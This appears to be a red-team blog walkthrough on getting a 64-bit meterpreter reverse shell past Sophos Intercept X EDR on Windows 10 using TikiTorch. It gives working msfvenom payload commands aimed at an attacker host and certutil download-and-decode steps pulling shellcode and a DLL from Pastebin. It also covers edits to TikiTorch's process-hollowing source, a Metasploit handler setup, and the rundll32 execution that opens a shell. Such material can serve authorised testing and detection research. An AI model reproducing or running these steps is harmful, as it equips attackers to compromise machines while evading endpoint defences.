Intro

A quick practical demonstration of using Rastamouse’s TikiTorch to bypass Endpoint protection, in this case a trial version of Sophos Intercept X (“Now with EDR”). For this demo we’ll be trying to run a 64 bit staged meterpreter reverse shell on a Windows 10 target.

Before we start, we’ll try to do it the old way to see how far we can get. Let’s generate a windows binary, download it using a browser and run it.

Generate our binary:

 
root@localhost:~# msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=ahost.rythmstick.net LPORT=80 -f exe > rs.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 605 bytes
Final size of exe file: 7168 bytes
 

These days, this is is a well recognised binary:

screenshot

We spin up a web server:

 
root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
 

And download http://ahost.rythmstick.net/rs.exe in our browser. If you’re lucky enough to get it through your proxy server, Sophos Web Protection recognises it as malicious:

screenshot


Rather than obfuscate the code we’ll download it outside the browser. We’ll use a much underrated native windows binary, CERTUTIL.EXE (shout out to Lolbas).

 
C:\Users\Me> certutil -urlcache -split -f http://ahost.rythmstick.net/rs.exe
****  Online  ****
 000000  ...
 034400
CertUtil: -URLCache command completed successfully.
 

The binary gets downloaded but is immediately dealt with by Sophos Endpoint when it lands on disk:

screenshot

A look at Sophos’s threat analysis center gives some additonal details:

screenshot

We could go through the long process of using different techniques to obfuscate the code, but instead we’ll use TikiTorch. TikiTorch hides our shellcode using process hollowing techniques to injest the code in a Windows binary of our choice.


Step 1 - Generate Shellcode

We’re using msfvenom in Kali 2018.4 to generate some staged reverse shell shellcode and base64 encode it - the format expected by TikiTorch. Oh, we’ll also have to gzip the shellcode since the latest mods to TikiTorch (although we don’t save alot of bytes gzip’ing a stager).

 
root@localhost:~# msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=ahost.rythmstick.net LPORT=80 -f raw | gzip -f | base64 -w 0 > rs.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 781 bytes
  

base64 -w 0 ensures that the base64 encoded shellcode is output in one long string and not wrapped
LHOST is where we'll run our multi handler
LPORT is the port we'll be listening on


Step 2 - Host our shellcode

We now need to host our shellcode somewhere. We could spin up a web server but we’re going to use this host to run our handler. If the target has tight Egress controls in place we may also be limited by ports. Instead we’ll use PasteBin. We’ll copy the contents of rs.txt in a new paste. Make a note of the raw URL for this paste, in our case it’s https://pastebin.com/raw/Zd5hmeUL.

Make sure we can access this URL on our target.


Step 3 - Recompile TikiThings.dll

Clone the TikiTorch Repo. We’ll need to amend 2 strings in TikiThings\Program.cs, binary and url, as follows::

 
string binary = @"c:\\windows\\system32\\calc.exe";
string url = @"https://pastebin.com/raw/Zd5hmeU";
 

Next we need to re-compile, which should generate an updated TikiThings.dll. I used Microsoft Visual Studio Community 2017.


Step 4 - Download TikiThings to target

Download your re-compiled TikiThings.dll to the target. If your target’s web filter objects to downloading a DLL file, try encoding it.

Once compiled, Base64 encode TikiThings.dll:

 
C:\> certutil -encode TikiThings.dll TikiThings.enc
 

Upload the encoded file where it can be downloaded. We’ll use pastebin again. Copy the contents of TikiThings.enc into a new paste, in our case https://pastebin.com/raw/SAeR96bC.

Download the encoded file onto target and decode it back to DLL.

 
C:\> certutil -urlcache -split -f https://pastebin.com/raw/SAeR96bC TikiThings.enc
C:\> certutil -decode TikiThings.enc TikiThings.dll
 


Step 5 - Start a Multi Handler

Run a Metasploit multi handler to catch our meterpreter reverse http shell.

 
root@localhost:~# msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http
payload => windows/meterpreter_reverse_http
msf5 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf5 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf5 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://0.0.0.0:80
 


Step 6 - Execute our payload

   
C:\Users\Me> rundll32 TikiThings.dll,EntryPoint
 


We now get a reverse http meterpreter shell on our target (not a peep from our EDR solution):

 
[*] Started HTTP reverse handler on http://0.0.0.0:80
msf5 exploit(multi/handler) > [*] http://0.0.0.0:80 handling request from x.x.x.x; (UUID: ivbuf5og) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (178.79.162.12:80 -> x.x.x.x:51614) at 2019-03-25 20:44:26 +0000

msf5 exploit(multi/handler) > sysinfo

meterpreter > sysinfo
Computer        : DESKTOP-RF1LQOM
OS              : Windows 10 (Build 17134).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
 

If we check out the connections established to our handler, we see a process with PID 4436.

 
C:\Users\Me> netstat -ano | find "178.79.162.12"
  TCP    10.0.2.15:56328      178.79.162.12:80        ESTABLISHED     4436
 

Which happens to be the binary we set in TikiThings.dll:

screenshot


TikiTorch has a number of other assemblies. Check out the GitHub Repo for more details.